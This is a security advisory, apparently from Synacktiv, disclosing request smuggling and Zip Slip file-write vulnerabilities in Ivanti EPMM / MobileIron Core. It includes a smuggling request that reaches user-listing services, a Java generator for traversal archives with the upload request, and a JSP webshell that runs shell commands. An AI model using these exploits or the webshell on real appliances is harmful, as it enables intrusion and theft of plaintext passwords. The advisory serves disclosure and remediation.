Ivanti EPMM / MobileIron Core - Multiple Vulnerabilities

05/06/2024 - Download

Product

 Ivanti EPMM / MobileIron Core

Severity

Critical

Fixed Version(s)

N/A

Affected Version(s)

CVE Number

N/A

Authors

Mehdi Elyassa

Description

Presentation

Ivanti EPMM (Endpoint Manager Mobile), formerly known as MobileIron Core, is a mobile management software engine that enables IT to set policies for mobile devices, applications, and content. This product enables mobile device management, mobile application management, and mobile content management capabilities.

Issue(s)

Synacktiv discovered multiple vulnerabilities in Ivanti EPMM:

  • An HTTP Request Smuggling issue that could be used to bypass access controls to reach Hessian service in order to gain unauthorized access to sensitive data.
  • A Remote Arbitrary File Write affecting an administrative feature that could be leveraged to write malicious files on the server.

Both vulnerabilities can be chained by unauthenticated attackers to remotely compromise appliances.

Affected versions

The request smuggling vulnerability was initially discovered on a version 11.4.0.0 of MobileIron. Additional tests revealed that version 11.8.0.0-29 is also impacted, anterior or superior releases are likely to be vulnerable as well.

Version 11.10.0.2-6 is impacted by the arbitrary file write issue.

Timeline

Date Description
2023.08.02 Advisory sent to security@ivanti.com
2023.08.07 Follow-up message sent to the vendor
2023.08.08 Ivanti answers that the first vulnerability was previously resolved by updating Apache httpd in recent versions and the second one is confirmed as exploitable and will be patched
2023.09.02 Follow-up message sent to the vendor
2023.10.01 Follow-up message sent to the vendor
2024.02.16 Follow-up message sent to the vendor
2024.06.05 Public Release

 

Technical details

HTTP Request Smuggling

Description

The MobileIron Core versions built before April 2023 are shipped with an Apache httpd package vulnerable to CVE-2023-25690.

Some mod_proxy configurations on Apache HTTP Server versions 2.4.0 through 2.4.55 allow a HTTP Request Smuggling attack.

On the 2.4.x branch used by MobileIron, the issue affects versions inferior or equal to 2.4.6-97.

$ cat /mi/platform-version-info.txt 
CORE 11.8.0.0 Build 29 (Branch core-11.8.0.0)

$ rpm -qi httpd
Name        : httpd
Version     : 2.4.6
Release     : 97.el7.centos.5
Architecture: x86_64
Install Date: Tue 01 Aug 2023 07:16:50 AM UTC
Group       : System Environment/Daemons
Size        : 9821136
License     : ASL 2.0
Signature   : RSA/SHA256, Thu 24 Mar 2022 06:21:56 PM UTC, Key ID 24c6a8a7f4a80eb5
Source RPM  : httpd-2.4.6-97.el7.centos.5.src.rpm
Build Date  : Thu 24 Mar 2022 02:59:42 PM UTC
[...]

Moreover, the MIFS portal section in the Apache configuration presents multiple rewrite rules which permit the request smuggling. Three specific paths (/ca, /status and /oauth) could be used to smuggle request to the /mifs/services endpoint. The latter exposes Hessian services which are sensitive and do not require authentication. Therefore, a rewrite rule is defined to deny access.

$ cat /etc/httpd/conf.d/ssl.conf
#  Portal Service
<VirtualHost _default_:443>
[...]

# For backwards compat with existing Local CAs.
    RewriteRule  ^/ca/(.*)$  /mifs/ca/$1  [PT]
#  For convenience/backwards compat with existing deployments
    RewriteRule  ^/status/(.*)$  /mifs/status/$1  [PT]
#  OAuth2 endpoints
    RewriteRule  ^/oauth/(.*)$  /mifs/o/oauth/$1  [PT]

[...]
                  
# Deny all other services
    RewriteCond  %{REQUEST_URI} !.*mifs/admin/rest/api/v2/policy/filevault2recovery  /setrecoverykey$
    RewriteCond  %{HTTP_REFERER} ^$
    RewriteCond  %{REQUEST_METHOD} (POST)
    RewriteRule  ^/mi.s/.* - [F]
    RewriteRule  ^/mifs/services - [F]

The following request can be used to smuggle a call to the getAllUsers method of the Hessian UserService.

GET /ca/smuggle%3fa%20HTTP/1.1%0aUser-Agent:Mozilla%0aHost:127.0.0.1%0a%0aPOST%20/mifs/services/UserService%20HTTP/1.1%0aA:B HTTP/1.1
Host: mdm.local
User-Agent: Mozilla
X-Forwarded-For: 127.0.0.1
Content-Type: application/x-hessian
Content-Length: 43

<@d_base64>QwtnZXRBbGxVc2Vyc5A=<@/d_base64>

When proxified, the request is processed as two HTTP messages by the backend Tomcat server.

01-Aug-2023 09:44:11.988 FINE [http-nio-127.0.0.1-8081-exec-2] org.apache.coyote.http11.Http11InputBuffer.fill Received [GET /mifs/ca/smuggle?a HTTP/1.1
User-Agent:Mozilla
Host:127.0.0.1

POST /mifs/services/UserService HTTP/1.1
A:B HTTP/1.1
Host: mdm.local
User-Agent: Mozilla
X-Forwarded-For: 127.0.0.1, 192.168.59.1
Content-Type: application/x-hessian
X-MobileIron-Request-Line: GET /ca/smuggle%3fa%20HTTP/1.1%0aUser-Agent:Mozilla%0aHost:127.0.0.1%0a%0aPOST%20/mifs/services/UserService%20HTTP/1.1%0aA:B HTTP/1.1
X-Forwarded-Host: mdm.local
X-Forwarded-Server: mdm.local
Connection: Keep-Alive
Content-Length: 14

C
 getAllUsers

Since a desynchronization occurs, additional requests need to be issued to retrieve the response to the smuggled message.

Desynchronized response holding the results of the call to getAllUsers.

The vulnerability was silently fixed through the automatic update of the httpd package in the recent versions.

 

Impact

Request smuggling allows an attacker to bypass security controls defined on the frontend server and gain unauthorized access to sensitive endpoints. In the case of the MIFS portal, they can reach the Hessian service anonymously and call administrative features such as:

  • getLDAPConfigs at LDAPService
  • getAllUsers at UserService
  • retrieveUserPassword(<USERNAME>) at UserService

Consequently, these services can be abused to compromise administrative credentials by calling first the getAllUsers method to retrieve PII of users then feed the obtained usernames to the retrieveUserPassword method to collect plaintext passwords.

Remote Arbitrary File Write via archive extraction (Zip Slip) in the GPO import feature

Description

The MIFS portal exposes an administrative GPO import feature at /mifs/rest/api/v2/component/gpo/import. This function requires a valid admin session and extracts the ZIP package delivered through a multipart request.

The importAdmxPackage method defined in the GpoController class relies on a custom ZipUtils class to process the archive.

// component-gpo-*.jar

package com.mobileiron.component.windows.gpo.rest;
[...]
import com.mobileiron.polaris.common.utils.ZipUtils;
[...]

@RestController
@RequestMapping(path = {"/api/v2/component/gpo"}, produces = {"application/json"})
@Validated
class GpoController {
[...]

  @PostMapping({"/import"})
  @PreAuthorize("@gpoSecurityExpressions.canUploadAdmx()")
  WebResponse<MessageKey> importAdmxPackage(@RequestParam("admxZipPackage") MultipartFile admxPackage) throws IOException {
    Collection<File> toBeDeleted = new ArrayList<>(2);
    try {
      File zipFile = Files.createTempFile("", "", (FileAttribute<?>[])new FileAttribute[0]).toFile();
      toBeDeleted.add(zipFile);
      admxPackage.transferTo(zipFile);
      File folder = ZipUtils.extract(zipFile);
      toBeDeleted.add(folder);
      this.admxIngest.ingestAdmxPackages(folder.toPath(), false);
    } finally {
      this.scheduler.schedule(() -> toBeDeleted.forEach(FileUtils::deleteQuietly), new Date());
    } 
    return new SuccessWebResponse<>(new MessageKey("gpo.import.success"), true);
  }
[...]
 

The latter implements the extract method, which is vulnerable to Zip Slip attacks. Indeed, to build the destination path, it uses the archive entry names without any form of sanitization. Therefore, arbitrary files can be written on the system with specially crafted archives.

// polaris-common-*.jar

package com.mobileiron.polaris.common.utils;


public final class ZipUtils {
[...]
  public static File extract(File inputZip) throws IOException {
    File destinationDirectory = DirUtils.createTempDir(inputZip.getName());
    ZipFile zipFile = new ZipFile(inputZip);
    try {
      Enumeration<ZipArchiveEntry> zipEntries = zipFile.getEntries();
      while (zipEntries.hasMoreElements()) {
        ZipArchiveEntry zipEntry = zipEntries.nextElement();
        LOG.debug("Processing zip entry: " + zipEntry.getName());
        File destination = new File(destinationDirectory, zipEntry.getName());
        if (zipEntry.isDirectory()) {
          LOG.debug("Creating directory: " + destination.getAbsolutePath());
          FileUtils.forceMkdir(destination);
          continue;
        } 
        FileUtils.forceMkdir(destination.getParentFile());
        LOG.debug("Writing entry to file: " + destination.getAbsolutePath());
        FileUtils.copyInputStreamToFile(zipFile.getInputStream(zipEntry), destination);
      } 
    } finally {
      zipFile.close();
    } 
    return destinationDirectory;
  }
}

To build such ZIP archive, the following code may be used.

import java.util.zip.ZipOutputStream;
import java.util.zip.ZipEntry;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.File;
import java.io.ByteArrayInputStream;
import java.util.Base64;
import java.io.FileWriter;
import java.io.BufferedWriter;

// files are created in : /mi/tomcat/temp/[UUID]

class genZip {


    public static byte[] readFile(String filename) {
        File file = new File(filename);
        byte[] bytes = new byte[(int) file.length()];
        try(FileInputStream fis = new FileInputStream(file)) {
            fis.read(bytes);
            return bytes;
        } catch (Exception e) {
            System.out.println("Failed to read file " + filename);
            System.out.println(e);
            return "".getBytes();
        }
    }

    public static void main(String[] args) {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ZipOutputStream outzip = new ZipOutputStream(baos); 
        String root_dir = "../../../../";
        String mifs_root_dir = root_dir + "mi/tomcat/webapps/mifs/css/";

        String[] files = {"exploit.css"};
        
        try {
            for (String filename : files) {
                outzip.putNextEntry(new ZipEntry(mifs_root_dir + filename));
                byte[] data = readFile("./zipit/"+filename);
                outzip.write(data, 0, data.length);
                System.out.println("Added " + filename + " - len="+data.length);
            }
            outzip.close();

            String outzip_b64 = new String(Base64.getEncoder().encodeToString(baos.toByteArray()));
            System.out.println(outzip_b64);
            BufferedWriter writer = new BufferedWriter(new FileWriter("./genZip.out"));
            writer.write(outzip_b64);
            writer.close();
        } catch (Exception e) {

        }
    }
}

In the following example, the archive holds a directory traversal payload aiming to create an exploit.css file at the webroot of the MIFS portal.

$ mkdir zipit && echo 'ItWorks!' > zipit/exploit.css
$ javac genZip.java && java genZip      
Added exploit.css - len=9
UEsDBBQACAgIAFgdAlcAAAAAAAAAAAAAAAAyAAAALi4vLi4vLi4vLi4vbWkvdG9tY2F0L3dlYmFwcHMvbWlmcy9jc3MvZXhwbG9pdC5jc3PzLAnPL8ouVuQCAFBLBwh3vTr2CwAAAAkAAABQSwECFAAUAAgICABYHQJXd7069gsAAAAJAAAAMgAAAAAAAAAAAAAAAAAAAAAALi4vLi4vLi4vLi4vbWkvdG9tY2F0L3dlYmFwcHMvbWlmcy9jc3MvZXhwbG9pdC5jc3NQSwUGAAAAAAEAAQBgAAAAawAAAAAA
$ cat genZip.out | base64 -d > payload.zip
$ unzip -l payload.zip
Archive:  payload.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        9  2023-07-31 20:14   ../../../../mi/tomcat/webapps/mifs/css/exploit.css
---------                     -------
        9                     1 file
 

By issuing the following request, the vulnerable import can be triggered.

POST /mifs/rest/api/v2/component/gpo/import HTTP/1.1
Host: mdm.local
User-Agent: Mozilla
Referer: http://mdm.local/
Authorization: Basic <@base64>admin:***<@/base64>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypfRX8ZSfuNbbRKwx
Content-Length: 489

------WebKitFormBoundarypfRX8ZSfuNbbRKwx
Content-Disposition: form-data; name="admxZipPackage"; filename="admxZipPackage"

<@d_base64>UEsDBBQACAgIAFgdAlcAAAAAAAAAAAAAAAAyAAAALi4vLi4vLi4vLi4vbWkvdG9tY2F0L3dlYmFwcHMvbWlmcy9jc3MvZXhwbG9pdC5jc3PzLAnPL8ouVuQCAFBLBwh3vTr2CwAAAAkAAABQSwECFAAUAAgICABYHQJXd7069gsAAAAJAAAAMgAAAAAAAAAAAAAAAAAAAAAALi4vLi4vLi4vLi4vbWkvdG9tY2F0L3dlYmFwcHMvbWlmcy9jc3MvZXhwbG9pdC5jc3NQSwUGAAAAAAEAAQBgAAAAawAAAAAA<@/d_base64>
------WebKitFormBoundarypfRX8ZSfuNbbRKwx--

---

HTTP/1.1 200 
[...]

{"errors":null,"result":"Admx package successfully ingested","success":true}

Finally, the newly created file can be reached anonymously to confirm the exploit.

$ curl -k https://mdm.local/mifs/css/exploit.css
It Works!
$ ssh admin@mdm.local 'cat /mi/platform-version-info.txt; ls -lah /mi/tomcat/webapps/mifs/css/exploit.css'
EPMM 11.10.0.2 Build 6 (Branch core-11.10.0.2)
-rw-r--r-- 1 tomcat tomcat 9 Jul 31 18:01 /mi/tomcat/webapps/mifs/css/exploit.css

The vulnerability affects the latest version 11.10.0.2-6 available at the time of writing.

Impact

The vulnerability can be exploited to corrupt files used by the application or the underlying operating system.

To obtain remote code execution capabilities, a JSP webshell could be dropped at the webroot.

$ cat zipit/session.jsp
<%@ page import="java.util.*,java.io.*"%>
<%@ page trimDirectiveWhitespaces="true"%>
<%
    if (request.getHeader("WS") != null) {
        String kp = request.getHeader("WS");
        out.println("$> " + kp);
        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", kp});
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
            out.println(disr); 
            disr = dis.readLine(); 
        }
        return;
    }
%>

$ cat zipit/401.jsp
<%@ include file="baseURL.jsp"%>
<%@ include file="session.jsp"%>
<%
response.addHeader("WWW-Authenticate", "BASIC realm=\"Spring Security Application\"");
response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
%>

<html>
<head>
    <title>401 Error - Authentication Failed</title>
</head>
<body>
    <h1>401 - Authentication Failed</h1>
    <p>
        <blockquote>
            The URL you've requested requires a correct username and password. You entered an incorrect
            username/password
            <p>
        </blockquote>
</body>
</html>

$ unzip -l payload.zip
Archive:  payload.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      609  2023-08-01 10:16   ../../../../mi/tomcat/webapps/mifs/session.jsp
      564  2023-08-01 10:16   ../../../../mi/tomcat/webapps/mifs/401.jsp
---------                     -------
     1173                     2 files

The commands are executed in the context of the tomcat user.

GET /mifs/401.jsp HTTP/1.1
Host: mdm.local
User-Agent: Mozilla
WS: id;cat /mi/platform-version-info.txt

---

HTTP/1.1 200 
[...]

$> id;cat /mi/platform-version-info.txt
uid=101(tomcat) gid=102(tomcat) groups=102(tomcat)
EPMM 11.10.0.2 Build 6 (Branch core-11.10.0.2)

 

Recommendation

Validate the paths constructed from untrusted archive entry names.

The File.getCanonicalPath should be used on the constructed destination file to remove any ../ sequence. Then, check that the returned canonical path is within the intended extraction directory.